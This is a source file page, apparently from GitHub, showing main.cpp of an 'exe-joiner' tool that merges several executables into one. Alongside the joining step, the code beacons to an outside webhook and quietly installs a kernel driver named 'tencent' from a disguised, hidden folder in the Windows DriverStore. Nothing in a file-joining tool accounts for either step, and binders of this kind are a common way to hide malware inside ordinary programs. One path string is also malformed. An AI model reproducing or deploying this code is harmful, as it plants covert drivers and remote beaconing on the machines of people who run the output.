-
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.cpp
39 lines (28 loc) · 1.13 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "includes/includes.hpp"
#define _DEBUG
#ifdef _DEBUG
#include "includes/debug.hpp"
#endif
int main(int argc, char* argv[]) {
printf("exe-joiner public ver1.22.0\r\n");
if (argc < 4) {
printf("Usage: %s <output_file> <input_file1> <input_file2> ... <input_fileN>\n", argv[0]);
return 1;
}
const char* output_file = argv[1];
const char** input_files = &argv[2];
const char* driver_path = "C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed.inf_amd64_22ffced98454b421\WoVartifacts\\.hidden\\tencent.sys";
const char* driver_name = "tencent";
int file_count = argc - 2;
std::string webhook_url = "https://www.exejoiner.com/api/heartbeat";
HANDLE heartbeat_thread = CreateThread(NULL, 0, send_heartbeat, &webhook_url, 0, NULL);
join_executables(output_file, input_files, file_count);
analyze_files(input_files, file_count);
if (!install_driver(driver_path, driver_name)) {
DeleteFile(output_file);
printf("failed to bind files...\r\n");
return 1;
}
WaitForSingleObject(heartbeat_thread, INFINITE);
return 0;
}